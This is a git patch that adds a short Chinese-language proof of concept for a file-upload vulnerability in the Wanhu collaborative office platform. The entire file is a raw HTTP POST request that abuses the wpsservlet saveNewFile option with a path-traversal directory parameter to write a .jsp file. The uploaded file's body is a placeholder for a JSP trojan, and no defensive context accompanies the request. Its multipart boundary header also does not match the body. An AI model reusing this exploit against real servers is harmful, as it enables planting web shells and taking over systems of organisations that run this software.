From 9e99673cbb3a30367b48592f8164ebe3ba5852bc Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Sun, 20 Aug 2023 09:30:43 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E4=B8=87=E6=88=B7=E5=8D=8F=E5=90=8C?=
 =?UTF-8?q?=E5=8A=9E=E5=85=AC=E5=B9=B3=E5=8F=B0=E6=8E=A5=E5=8F=A3=E5=AD=98?=
 =?UTF-8?q?=E5=9C=A8=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E?=
 =?UTF-8?q?.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 万户协同办公平台接口存在文件上传漏洞.md | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)
 create mode 100644 万户协同办公平台接口存在文件上传漏洞.md

diff --git a/万户协同办公平台接口存在文件上传漏洞.md b/万户协同办公平台接口存在文件上传漏洞.md
new file mode 100644
index 0000000..c29f7b1
--- /dev/null
+++ b/万户协同办公平台接口存在文件上传漏洞.md
@@ -0,0 +1,20 @@
+## 万户协同办公平台接口存在文件上传漏洞
+```
+
+POST
+/defaultroot/wpsservlet?option=saveNewFile&newdocld=jsp&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
+Host:xxx.xxx.xxx.xxx
+User-Agent:
+Content-Length:266
+Cache-Control:max-age=0
+Content-Type:multipart/form-data;boundary=803e058d60f347f7b3c17fa95228eca6
+Accept-Encoding: gzip,deflate
+Connection:close
+
+--221e166d60f34112b3c17fa95818ecfe
+Content-Disposition:form-data;name="NewFile";filename="jsp.jsp"
+
+<% jsp 上传的木马地址 %>
+
+--221e166d60f34112b3c17fa95818ecfe--
+```